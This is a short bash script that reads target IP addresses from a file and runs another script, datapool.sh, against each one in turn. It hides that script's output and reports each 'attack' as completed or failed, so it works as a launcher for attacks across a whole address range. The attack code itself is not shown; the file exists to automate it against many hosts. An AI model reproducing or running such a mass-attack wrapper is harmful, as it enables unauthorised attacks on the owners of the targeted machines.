#!/bin/bash
if [ ! -f ./ips.txt ]; then
echo "Please create an ips.txt before running."
exit 1
fi

CCLASS=`cat ./ips.txt -n | grep 1 -w | cut -b8-`
IPNUM=`cat ./ips.txt | wc -l`
echo "Beginning attack of $CCLASS."
c1=1
while [ $c1 -le $IPNUM ]
do
ATTACKIP=`cat ./ips.txt -n | grep $c1 -w | cut -b8-`
./datapool.sh $@ -d $ATTACKIP 1>/dev/null 2>/dev/null
if [ $? -eq 0 ]; then
echo "Attack on $ATTACKIP completed"
else
echo "Attack on $ATTACKIP failed."
fi
c1=`echo $c1 + 1 | bc`
done
echo "Attack of $CCLASS completed."
